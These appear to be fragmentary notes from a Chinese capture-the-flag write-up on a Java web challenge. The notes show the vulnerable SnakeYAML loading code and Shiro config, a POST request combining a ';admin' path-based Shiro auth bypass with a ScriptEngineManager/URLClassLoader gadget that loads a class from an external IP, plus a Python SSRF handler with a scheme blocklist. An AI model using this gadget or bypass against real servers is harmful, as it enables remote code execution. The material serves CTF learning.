public ShiroFilterFactoryBean shiroFilter(){ ShiroFilterFactoryBean bean = new ShiroFilterFactoryBean(); bean.setSecurityManager((org.apache.shiro.mgt.SecurityManager) securityManager()); bean.setLoginUrl("/login"); Map<String, String> filterMap = new LinkedHashMap<>(); filterMap.put("/static/*","anon"); filterMap.put("/load/*", "authc"); bean.setFilterChainDefinitionMap(filterMap); return bean; }
@PostMapping(value = "/load/{id}") @ResponseBody public String loadyaml(@PathVariable(name = "id") String id, @RequestParam(name = "persondata", defaultValue = "") String persondata)throws IOException, ClassNotFoundException { Yaml yaml = new Yaml(); Person p = yaml.loadAs(persondata, Person.class); return p.username; }
publicclassAddress{ public String street; public Object ext; publicboolean isValid; } publicclassPerson{ public String username; public String age; publicboolean isLogin; public Address address; }
存在一个yaml的反序列化点,先构造探测出网否。还有一个shiro的权限绕过
http://39.105.38.203:30113/load/%3badmin POST: persondata=username: Chris address: ext: !!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://150.158.181.145:3000"]]]]
Linux version 5.4.0-113-generic (buildd@lcy02-amd64-067) (gcc version 9.4.0 (Ubuntu 9.4.0-1ubuntu1~20.04.1)) #127-Ubuntu SMP Wed May 18 14:30:56 UTC 2022
url = str(request.form.get('url')).lower() urlarr = urlparse(url) for black in ['dict', 'file', 'gopher', 'ftp']: if black in urlarr['scheme']: return"NoNoNO!!!You can't use {} protocol".format(black) try: res = urlopen(url) return render_template("ping.html") except: return"Request failed!"